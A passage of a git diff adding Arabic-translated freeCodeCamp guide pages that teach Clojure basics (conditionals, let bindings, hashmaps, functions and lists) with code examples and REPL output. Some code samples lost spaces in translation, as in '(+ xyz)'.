+*   [ثلاثة أبعاد](http://forum.freecodecamp.com/t/clojure-vectors/18421)
+*   [Hashmaps](http://forum.freecodecamp.com/t/clojure-hashmaps/18414)
+
+| [![:point_left:](/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) [![:book:](/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](http://forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |  
+| [أكثر على وظائف](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) | [جدول المحتويات](http://forum.freecodecamp.com/t/clojure-resources/18422) | [القوائم](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/conditionals/index.md b/client/src/guide/arabic/clojure/conditionals/index.md
new file mode 100644
index 0000000000..2a1c3a4c01
--- /dev/null
+++ b/client/src/guide/arabic/clojure/conditionals/index.md
@@ -0,0 +1,141 @@
+---
+title: Clojure Conditionals
+localeTitle: الشرط Clojure
+---
+لن تحصل على أي مكان بلغة إذا كان كل ما يمكنك فعله هو تحديد الوظائف التي تطبع الأشياء وتجري حسابًا بسيطًا. تشكل الشروط والمنطق جزءًا أساسيًا من إنشاء الرموز التي تقدم أشياء مفيدة ومفيدة. حاول أن تتخيل عالما بدون منطق في البرامج: لن تستطيع حتى أن تكون قادرا على أشياء بسيطة ، مثل التحقق من وجود رقمين متساويين!
+
+## العوامل المنطقية
+
+Clojure ، مثل معظم اللغات ، لديه 3 عوامل منطقية: `and` ، `or` ، `or` `not` . هذه الدوال تأخذ booleans ( `true` أو `false` ) كحجج ، وتعيد booleans مبنية على ما booleans تلك. مثل كل شيء في Lisp ، يستخدم هؤلاء المشغلين تدوين البادئة ، مما يعني أنها قد تبدو غريبة بالنسبة لك.
+
+ `(and true false) 
+ ; => false 
+ (and true true) 
+ ; => true 
+ (or false false) 
+ ; => false 
+ (or true false) 
+ ; => true 
+ (not true) 
+ ; => false 
+ (not false) 
+ ; => true 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/XfXn8T)
+
+## إذا
+
+`if` سمح لك بتنفيذ التعليمة البرمجية استنادًا إلى ما إذا كانت كلمة منطقية `true` أم `false` . `if` في Clojure يبدو غريبا جدا ، وليس لأنه يستخدم بادئة الترميز ، ولكن لأنه لا يوجد أي شيء آخر. إذا كان الشرط صحيحًا ، فإنه يقوم بتقييم التعبير الأول. إذا كان غير صحيح ، فإنه ينفذ الثاني.
+
+ `(if (= (+ 2 2) 4) 
+  (println "Maths works!") ; this gets evaluated if 2 + 2 = 4 
+  (println "UH OH"))       ; this gets evaluated if 2 + 2 != 4 
+ ; => Maths works! 
+ ;    nil 
+` 
+
+هذا يمثل مشكلة: ماذا لو كنا نريد القيام بأشياء متعددة؟
+
+ `(if (= (+ 2 2) 4) 
+  (println "Maths works!") 
+  (println "Maths still works!") 
+  (println "UH OH")) 
+ ; => CompilerException java.lang.RuntimeException: Too many arguments to if 
+` 
+
+لحسن الحظ ، لدينا وظيفة `do` لحل هذه المشكلة. `do` بتقييم تعبيرات متعددة، واحدا تلو الآخر.
+
+ `(if (= (+ 2 2) 4) 
+  (do                               ; all of this gets evaluated if 2 + 2 = 4 
+    (println "Maths works!") 
+    (println "Maths still works!")) 
+  (println "UH OH")) 
+ ; => Maths works! 
+ ;    Maths still works! 
+ ;    nil 
+` 
+
+**ملاحظة:** بما أنه `if` ، في حد ذاته ، تعبيرًا ، فلا توجد حاجة لمشغل ثلاثي مثل العديد من اللغات المشابهة لـ C.
+
+ `var doesMathsWork = 2 + 2 === 4 ? "Maths works!" : "UH OH"; 
+ console.log(doesMathsWork); 
+ // => Maths works! 
+` 
+
+الآن بعد أن رأيت كيف يعمل ، لا يبدو الأمر غريبًا جدًا؟ هذا هو أسهل بكثير على قراءة وفهم (تجاهل لعدم وجود كلمة `else` ):
+
+ `(def does-maths-work (if (= (+ 2 2) 4) "Maths works!" "UH OH")) 
+ (println does-maths-work) 
+ ; => Maths works! 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/5XhcAa)
+
+## بدائل ل
+
+يحتوي Clojure أيضًا على بعض وحدات الماكرو التي تتصرف بطريقة مماثلة `if` ، وفي بعض الأحيان قد تكون أكثر إيجازًا.
+
+`if-not` هو المثال الأكثر بساطة - فهو `if` معكوسًا. هذان الجزءان من التعليمات البرمجية متطابقان تمامًا:
+
+ `(def does-maths-work (if (not (= (+ 2 2) 4)) "UH OH" "Maths works!")) 
+ (def does-maths-work (if-not (= (+ 2 2) 4) "UH OH" "Maths works!")) 
+` 
+
+يتم تقييم التعبير الأول إذا كان خطأًا ، ويتم تقييم الثاني إذا كان صحيحًا. لاحظ أن استخدام `if-not` يتجنب تعشيق وضعنا الداخلي `not` ، مما يساعد على تسهيل فهم الكود الخاص بنا.
+
+`when` هو ماكرو مفيد آخر. هذان الجزءان من التعليمات البرمجية هي نفسها أيضًا:
+
+ `(if (= (+ 2 2) 4) (do (println "Maths works!") (println "Hooray!"))) 
+ (when (= (+ 2 2) 4) (println "Maths works!") (println "Hooray!")) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/tUVAw3)
+
+**ملاحظة:** لا يوجد `when/else` . `when` ينفذ _فقط_ إذا كان الشرط صحيحًا.
+
+`cond` يتيح لك الجمع بين العديد من الشروط في تعبير واحد. يتطلب الأمر تسلسلًا من أزواج التعبير والتعبير المنطقي وتقييم كل تعبير منطقي بالترتيب. عندما تعثر على تعبير منطقي يتم تقييمه إلى `true` ، فإنه يقوم بتقييم التعبير الثاني للزوج. بعد هذا ، يتم تقييم أي تعبيرات أخرى. يشبه هذا السلوك منطق الدائرة القصيرة في Javascript.
+
+ `(cond (= 0 1) "I'm paired with a false expression and I don't evalute.." 
+      (= 1 1) "I'm the first expression paired with a true expression!" 
+      (= 2 2) "I don't evalute even though I'm also paired with true ;_;" 
+      :else   "I evaluate if no other boolean expressions evaluate to true") 
+ ; => "I'm the first expression paired with a true expression!" 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/zu5RCq)
+
+يمكن استخدام الكلمة الأساسية `:else` بدلاً من تعبير منطقي في زوج التعبير الأخير في `cond` . وهو يشير إلى أنه يجب تقييم التعبير المطابق إذا تم تقييم جميع التعبيرات المنطقية الأخرى إلى false. إنه نفس وضع الصيغة `true` للتعبير المنطقي الأخير.
+
+## أشكال خاصة و Evalution
+
+ربما لاحظت أن قواعد تقييم التعبيرات الشرطية تختلف قليلاً عن تعبيرات أخرى. التعبير الشرطي جزء من مجموعة من التعبيرات تسمى _نماذج خاصة_ . هذا يعني أنهم لا يتبعون قواعد تقييم Clojure الطبيعية.
+
+كما تعلم الآن ، فإن التعبير الشرطي يقوم فقط بتقييم الكتابة الفرعية التي تتوافق مع النتيجة المنطقية. وهذا يعني أنه لن يتم تقييم الرمز غير الصالح داخل تعبير شرطي في بعض الحالات. النظر في اثنين `if` تعبيرات أدناه. على الرغم من `(+ 1 "failure")` هو تعبير غير صالح ، إلا أن Clojure تثير استثناءً فقط عندما يكون الشرط `false` .
+
+ `(if true "sucess" (+ 1 "failure")) 
+ ; => "sucess" 
+ (if false "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/n4Ug2S)
+
+قارن هذا بسلوك `my-if` المعرّف أدناه:
+
+ `(defn my-if [condition true-case false-case] 
+  (if condition true-case false-case)) 
+ 
+ (my-if true "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/U7cVI4)
+
+`my-if` هي دالة ذات قواعد تقييم عادية ، لذلك يجب أن تكون كل علاماتها الفرعية مُعلمة قبل أن يتم تقييمها.
+
+لدى Clojure الكثير من وحدات الماكرو المفيدة مثل هذه لجميع أنواع المهام. حاول إلقاء نظرة على [وثائق Clojure](https://clojuredocs.org/) ومعرفة ما إذا كان يمكنك العثور على المزيد!
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-the-basics/18410) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |  
+| [ملخص](//forum.freecodecamp.com/t/clojure-the-basics/18410) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [شرطي](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/create-local-variables-with-let/index.md b/client/src/guide/arabic/clojure/create-local-variables-with-let/index.md
new file mode 100644
index 0000000000..0a56a82964
--- /dev/null
+++ b/client/src/guide/arabic/clojure/create-local-variables-with-let/index.md
@@ -0,0 +1,58 @@
+---
+title: Clojure Create Local Variables with Let
+localeTitle: Clojure إنشاء متغيرات محلية مع دعونا
+---
+`let` جزء أساسي من Clojure. بينما يخلق `def` متغيرًا عالميًا ، `let` بإنشاء متغير محلي.
+
+ `(def x 5) 
+ (println x) 
+ ; => 5 
+ ;    nil 
+ (let [x 2] 
+  (println x)) 
+ ; => 2 
+ ;    nil 
+ (println x) 
+ ; => 5 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/xcNth2)
+
+`x` في هذا المثال لن يتم تغييره في الواقع. `x` يشير فقط إلى شيء مختلف داخل لدينا `let` ملزمة. هذا يمكن أن يكون وسيلة مفيدة لتجنب التكرار داخل وظيفة.
+
+هذا مفيد بشكل لا يصدق. وجود العديد من المتغيرات العالمية يمكن أن يؤدي إلى أخطاء سيئة وسلوك غير مقصود.
+
+ `(def x 5) 
+ (defn add-5 [y] (+ xy)) 
+ (add-5 5) 
+ ; => 10 
+ (defn change-x [] 
+  (def x 6)) 
+ (change-x) 
+ ; => nil 
+ (add-5 5) 
+ ; => 11 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/MFjA3C)
+
+اه! هذا لا يضيف 5 بعد الآن! بطبيعة الحال ، هذا المثال سخيف قليلاً ، ولكن استخدام الكثير من المتغيرات العالمية يمكن أن يؤدي إلى خلل مروع مثل هذا.
+
+**ملاحظة:** نحن لا نعيد _تعيين_ `x` هنا ، كما هو الحال في لغة C-like. نحن فقط بصدد إنشاء متغير جديد يحدث أيضًا باسم x. هذه فكرة سيئة _**للغاية**_ .
+
+## ربط متعددة
+
+`let` أيضا تحديد متغيرات متعددة في وقت واحد ، ويمكن أن يعين المتغيرات على التعبيرات.
+
+ `(let [spam "foo" 
+      ham (str "b" "ar")] ; str is a function that concatenates strings 
+  (println spam ham))      ; or converts variables into strings. 
+ ; => foo bar 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/y5EBIM)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-conditionals/18412) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |  
+| [شرطي](//forum.freecodecamp.com/t/clojure-conditionals/18412) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [حلقة وتكرار](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/hashmaps/index.md b/client/src/guide/arabic/clojure/hashmaps/index.md
new file mode 100644
index 0000000000..6eb2f35dc6
--- /dev/null
+++ b/client/src/guide/arabic/clojure/hashmaps/index.md
@@ -0,0 +1,104 @@
+---
+title: Clojure Hashmaps
+localeTitle: Clojure Hashmaps
+---
+الهاسماب عبارة عن مجموعة تقوم بتعيين مفاتيح القيم. لديهم أسماء مختلفة في اللغات الأخرى. بيثون يشير إليها كقواميس ، وعناصر جافا سكريبت تعمل بشكل أساسي مثل هاشمابس.
+
+يمكن بناء هاسماب ، مثل العديد من المجموعات ، بطريقتين. هناك وظيفة منشئ:
+
+ `;; Note that each argument is *prepended* to the hashmap, not appended. 
+ (def a-hashmap (hash-map :a 1 :b 2 :c 3)) 
+ a-hashmap 
+ ; => {:c 3, :b 2, :a 1} 
+` 
+
+يمكنك أيضا تحديد لهم باستخدام hashmap الحرفية. هذا غالبا ما يكون أكثر إيجازا وواضحا. يوصى باستخدام الفواصل لفصل أزواج المفاتيح / القيم في هاشمابس ، حيث يمكن أن تجعل الحدود أكثر وضوحًا.
+
+ `;; This hashmap is actually in the right order, unlike the one above. 
+ (def another-hashmap {:a 1, :b 2, :c 3}) 
+ another-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+` 
+
+## الكلمات الأساسية واسترجاع القيم من hashmaps
+
+أصمد. ما هذا؟ `:a` ؟ `:b` ؟ `:c` ؟ تلك تبدو غريبة. تلك ، كما ترى ، هي الكلمات الرئيسية. إنها تسمى _key_ -words لأنها غالباً ما تستخدم كمفاتيح في hashmaps.
+
+لماذا غالباً ما تستخدم كمفاتيح؟ حسنا ، على عكس السلاسل ، يمكن استخدام الكلمات الأساسية كدالات لاستخراج القيم من hashmap؛ لا حاجة للحصول `get` أو `nth` !
+
+ `(def string-hashmap {"a" 1, "b" 2, "c" 3}) 
+ ("a" string-hashmap) 
+ ; => ClassCastException java.lang.String cannot be cast to clojure.lang.IFn 
+ 
+ (def keyword-hashmap {:a 1, :b 2, :c 3}) 
+ (:a keyword-hashmap) 
+ ; => 1 
+ 
+ ;; You can also pass a keyword a default value in case it's not found, just like get. 
+ (:not-in-the-hashmap keyword-hashmap "not found!") 
+ ; => "not found!" 
+` 
+
+## تحويل مجموعات أخرى إلى hashmaps
+
+تحويل إلى hashmap هو صعب. للتدليل ، دعنا نحاول استخدامه مثل `vec` أو `seq` .
+
+ `(hash-map [:a 1 :b 2 :c 3]) 
+ ; => IllegalArgumentException No value supplied for key: [:a 1 :b 2 :c 3] 
+` 
+
+تظن وظيفة `hash-map` أننا نحاول إنشاء hashmap مع `[:a 1 :b 2 :c 3]` كأحد المفاتيح. شاهد ما يحدث إذا أعطينا العدد الصحيح من الحجج:
+
+ `(hash-map [:a 1 :b 2 :c 3] "foo") 
+ ; => {[:a 1 :b 2 :c 3] "foo"} 
+` 
+
+لتحويل تسلسل إلى hashmap ، ستحتاج إلى استخدام وفهم `apply` . لحسن الحظ ، هذا بسيط جداً: `apply` أساسي تدمير مجموعة قبل تطبيق دالة عليه.
+
+ `;; These two expressions are exactly the same. 
+ (+ 1 2 3) 
+ ; => 6 
+ (apply + [1 2 3]) 
+ ; => 6 
+` 
+
+هذه هي الطريقة التي من شأنها تحويل متجه إلى hashmap:
+
+ `(apply hash-map [:a 1 :b 2 :c 3]) 
+ ; => {:c 3, :b 2, :a 1} 
+ 
+ ;; This is the same as: 
+ (hash-map :a 1 :b 2 :c 3) 
+ ; => {:c 3, :b 2, :a 1} 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/k9cOjo)
+
+## تحديث hashmap
+
+يمكنك تحديث القيم داخل hashmap باستخدام `assoc` . هذا يسمح لك بإلحاق أزواج مفاتيح / قيم جديدة أو تغيير الأزواج القديمة.
+
+ `(def outdated-hashmap {:a 1, :b 2, :c 3}) 
+ 
+ (def newer-hashmap (assoc outdated-hashmap :d 4)) 
+ newer-hashmap 
+ ; => {:a 1, :b 2, :c 3, :d 4} 
+ 
+ (def newest-hashmap (assoc newer-hashmap :a 22)) 
+ newest-hashmap 
+ ; => {:a 22, :b 2, :c 3, :d 4} 
+ 
+ ;; Note that outdated-hashmap has not been mutated by any of this. 
+ ;; Assoc is pure and functional. 
+ outdated-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+` 
+
+## متى تستخدم hashmap؟
+
+يعد hashmap مفيدًا عندما تريد إعطاء أسماء للمتغيرات الخاصة بك. إذا كنت تفكر في نفسك على الإطلاق ، _"ماذا لو استخدمت كائنًا ..."_ قبل أن تستخلص منه وتدرك أنك تستخدم Clojure ، حاول استخدام hashmap.
+
+كما أنها مفيدة إذا كنت تريد ربط قيمتين مختلفتين مع بعضهما البعض. خذ على سبيل المثال ، تشفير ROT13: يمكنك إقران `\A` مع `\N` ، `\B` مع `\M` ، وما إلى ذلك (وهذا سيكون طويلاً ومملًا للكتابة في معظم اللغات ، ولكن Clojure لديه بعض الوظائف التي يمكن أن تولده لك وجعلها _ممتعة!_ )
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-vectors/18421) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") |  
+| [ناقلات](//forum.freecodecamp.com/t/clojure-vectors/18421) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | ليتم إضافتها |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/index.md b/client/src/guide/arabic/clojure/index.md
new file mode 100644
index 0000000000..90f14df196
--- /dev/null
+++ b/client/src/guide/arabic/clojure/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure
+localeTitle: كلوجر
+---
+## الابتداء مع Clojure
+
+قبل أن نبدأ ، قد ترغب في [تثبيت Clojure](http://clojure.org/guides/getting_started) و [Leiningen](http://leiningen.org/#install) (وهي أداة لإدارة المشاريع في Clojure). سيسمح لك هذا بتشغيل Clojure في سطر الأوامر باستخدام REPL (قراءة - تقييم - تكرار - حلقة).
+
+## تعريف المتغيرات
+
+الخبز والزبدة لأي لغة برمجة هي متغيرات ووظائف. دعونا تحديد المتغير!
+
+ `(def our-string "Hello world!") 
+` 
+
+سهل جدا. يستخدم هذا الجزء من التعليمات البرمجية الماكرو `def` لربط سلسلة ( `"Hello world!"` ) إلى رمز ( `our-string` ). يمكننا أيضًا تحديد رقم ، مثل `1` أو `1.1` ، أو حرف ، مثل `\a` أو `\Z` ، أو شيء أكثر تعقيدًا مثل قائمة أو تعبير عادي ( _uuuugh_ ).
+
+لاحظ أن الكود الخاص بنا موجود داخل أقواس ، مثل قائمة ، لأن كل شيء موجود في اللسب هو قائمة! (سيكون ذلك مهمًا جدًا عندما نبدأ الحديث عن وحدات الماكرو).
+
+## تحديد وظائف
+
+الآن ، دعونا تحديد وظيفة!
+
+ `(defn hello-world [] (println our-string)) 
+` 
+
+هذا أكثر تعقيدًا بعض الشيء. مثل `def` ، فإنه يستخدم الماكرو ( `defn` ) لإنشاء متغير - على الرغم من هذه المرة ، هذا المتغير هو وظيفة. المتجه الفارغ (المتجه هو نوع من القائمة - فكر فيه كصفيف) بعد أن يحدد `hello-world` الحجج لتلك الوظيفة - في هذه الحالة ، ليس لدينا أي. الرمز بعد ذلك هو ما تقوم به الوظيفة. يقوم بتقييم `our-string` ، والتي تساوي `"Hello world!"` ، وطباعته إلى وحدة التحكم. دعونا تشغيلها!
+
+ `(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+` 
+
+يمكنك أيضًا كتابة هذا:
+
+ `(def hello-world (fn [] (println our-string))) 
+` 
+
+`defn` هو مجرد اختصار للمساعدة في الحفاظ على التعليمات البرمجية الخاصة بك موجزة. `(defn ...)` و `(def ... (fn ...))` هي نفسها في الممارسة.
+
+## المعلمات
+
+حسنًا ، كان ذلك لطيفًا ، لكنه لم يكن مثيرًا حقًا. دعونا نحاول وظيفة مع المعلمات. ماذا عن واحد يضيف 3 أرقام؟
+
+ `(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+` 
+
+…انتظر. `(+ xyz)` ؟ هذا يبدو مضحكا. حسنا ، يتم كتابة Lisps باستخدام "تدوين البادئة" ، مما يعني أن الوظيفة تأتي دائما في المقام الأول. نظرًا لأن جميع العوامل الرياضية في Lisp ( `+ - * /` ) هي مجرد وظائف ، فإنها تأتي أيضًا قبل حججها (في هذه الحالة ، `xyz` ).
+
+ستلاحظ أن متجهنا لديه بعض الأشياء فيه الآن: `[xyz]` ! عندما تحتوي الدالة على معلمات ، تقوم بتعريفها في هذا المتجه بجوار اسم الدالة.
+
+### الإتلاف
+
+وهناك ميزة كبيرة حول الحجج في Clojure هي تدمير. يتيح لك إمكانية سحب العناصر من قائمة.
+
+ `(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/SWlvKn)
+
+الوسيطات لهذه الوظيفة هي مجموعة ( `[xy]` ) ورقم ( `z` ). يمكننا استخدام عملية التدمير لسحب العناصر الأولى والثانية من القائمة ، وسنطلق عليها `x` و `y` .
+
+### وظائف مع أي عدد من المعلمات
+
+يمكنك أيضًا تحديد وظيفة ذات عدد تعسفي من الوسيطات باستخدام `&` .
+
+ `(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/VftymP)
+
+كما ترون ، استخدم `&` فصل حجج الدالة الخاصة بنا إلى متغير واحد يسمى `first` وقائمة المتغيرات تسمى `rest` . هذا يعني أن وظيفتنا يمكن أن يكون لها أي عدد من الحجج!
+
+## عودة
+
+ربما لاحظت بعض الأشياء الغريبة. عندما نستخدم `println` ، يبدو أن `nil` يظهر في مخرجاتنا. علاوة على ذلك ، ترجع الدالة `add` `6` ، ولكننا لم نخبرها أبداً بإعادة أي شيء.
+
+في Clojure ، تكون العوائد "ضمنية". إذا كنت قد استخدمت روبي ، فأنت على الأرجح على دراية بهذا المفهوم. وبدلاً من إخبارنا عن وظيفتنا لإعادة شيء ما ، فإنه يقيّم جميع الشفرات داخل جسمه ، ويعيد النتيجة. تقوم وظيفة `add` لدينا ، على سبيل المثال ، بتقييم `(+ xyz)` ، ثم تقوم بإرجاع تلك النتيجة.
+
+السبب في وظائفنا التي تستخدم إخراج `println` `nil` لأنه يتم تقييم `println` إلى `nil` . ( `nil` مثل `null` أو `None` - إنه لا يمثل أي شيء).
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/what-is-clojure/18419) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [ملخص](//forum.freecodecamp.com/t/what-is-clojure/18419) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [شرطي](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/lists-are-everything/index.md b/client/src/guide/arabic/clojure/lists-are-everything/index.md
new file mode 100644
index 0000000000..367fa1e6e3
--- /dev/null
+++ b/client/src/guide/arabic/clojure/lists-are-everything/index.md
@@ -0,0 +1,107 @@
+---
+title: Clojure Lists They Are Everything
+localeTitle: قوائم كلوجور وهم كل شيء
+---
+القوائم هي أساسية ل Clojure. Clojure هو Lisp ، واستخدم Lisps في الأصل لمعالجة القوائم. كل شيء في اللسب هو قائمة!
+
+ `(def foo "bar") 
+` 
+
+هذه القطعة من الكود هي في الواقع قائمة! كذلك أي شيء بين قوسين دائمين في Clojure. مثيرة للاهتمام ، أليس كذلك؟ هذا ما يجعل اللسبس ممتعًا للغاية - يمكنك بسهولة كتابة رمز يولد رمزًا جديدًا ، لأن إنشاء الشفرة بسيط مثل إنشاء قائمة.
+
+## جعل قائمة فعلية
+
+المشكلة ، لأن كل شيء هو قائمة في Clojure ، شيء من هذا القبيل سيؤدي إلى حدوث خطأ:
+
+ `(1 2 3 4 5) 
+ ; => ClassCastException java.lang.Long cannot be cast to clojure.lang.IFn 
+` 
+
+يا لها من رسالة خطأ فظيعة. ما يحاول الـ REPL إخبارنا به هو "1 ليست وظيفة ، ولا يمكن تحويلها إلى واحدة." لأن كل شيء في اللسب هو قائمة ، فإن أول عنصر في أي قائمة يتم التعامل معه كدالة ، مثل `def` أو `+` أو `str` ، لذلك إذا كتبنا `(1 2 3 4 5)` ، فإنه يعامل العنصر الأول ( `1` ) باعتباره وظيفة ، والتي من الواضح أنها ليست كذلك.
+
+يمكننا حل هذا بطريقتين. أحدهما يستخدم دالة `list` لإنشاء قائمة ، مثل استخدام `str` لسَلسَلة السلاسل معاً.
+
+ `(list 1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+` 
+
+يمكنك أيضا استخدام الاقتباس. نقلا عن قائمة تقول أساسا إلى المجمع أن هذه القائمة _ليست_ مكالمة وظيفة ، وأنه لا ينبغي تقييم أي رمز داخلها.
+
+ `'(1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+` 
+
+من المثير للاهتمام ، يمكنك أيضا اقتبس المكالمات وظيفة. هذه هي الطريقة التي تعمل بها وحدات الماكرو. إنها معقدة إلى حد كبير ، وتستحق مقالها الخاص ، لذلك لن نتوسع في التفاصيل هنا.
+
+ `;; Without a ' to quote it, this would return "foobarbaz". 
+ '(str "foo" "bar" "baz") 
+ ; => (str "foo" "bar" "baz") 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/6c7UxY)
+
+## إضافة إلى قائمة
+
+تم تصميم القوائم للإضافة ، بدلاً من الإلحاق. لا توجد وسيلة حقيقية لإلحاق قائمة. يمكنك الإضافة إلى قائمة باستخدام `cons` . يعمل `conj` أيضا ، ولكن هذا يعني للناقلات ، `cons` أسرع للقوائم.
+
+ `(cons 1 '(2 3 4)) 
+ ; => (1 2 3 4) 
+` 
+
+## استرجاع من القوائم
+
+يمكنك استرداد العناصر من القوائم باستخدام `nth` . `get` لا يعمل على القوائم ، لأن القوائم مصممة للوصول التسلسلي ، بدلا من الوصول العشوائي. لاحظ أن `nth` يعمل على المتجهات ولكنه أبطأ من `get` هذا.
+
+ `(nth '(1 2 3 4) 0) 
+ ; => 1 
+` 
+
+## تحويل مجموعات أخرى إلى قوائم
+
+لا تستطيع وظيفة `list` تحويل مجموعات أخرى إلى قوائم ، لأنها تحاول إنشاء قائمة باستخدام الحجج التي تم منحها. `list` التمرير ستقوم مجموعة بإرجاع قائمة تحتوي على تلك المجموعة.
+
+ `(list [1 2 3 4 5]) 
+ ; => ([1 2 3 4 5]) 
+` 
+
+للتحويل إلى قائمة ، استخدم الدالة `seq` بدلاً من ذلك.
+
+ `(seq [1 2 3 4 5]) 
+ ; => (1 2 3 4 5) 
+` 
+
+## تسلسل كسول
+
+لدى Clojure ميزة رائعة تسمى "تسلسلات كسولة". التسلسل البطيء هو عبارة عن قائمة لا يتم تكوين عناصرها حتى تشير إلى عنصر من التسلسل لاحقاً ، وعند هذه النقطة ، تقوم بتقييم جميع عناصر التسلسل حتى النقطة التي تريدها. هذا يسمح لك ببناء متواليات "لانهائية"!
+
+`range` ربما يكون أكثر تسلسل كسول. أنه يحتوي على جميع الأرقام.
+
+ `(range 10) 
+ ; => (0 1 2 3 4 5 6 7 8 9) 
+ (range -5 5) 
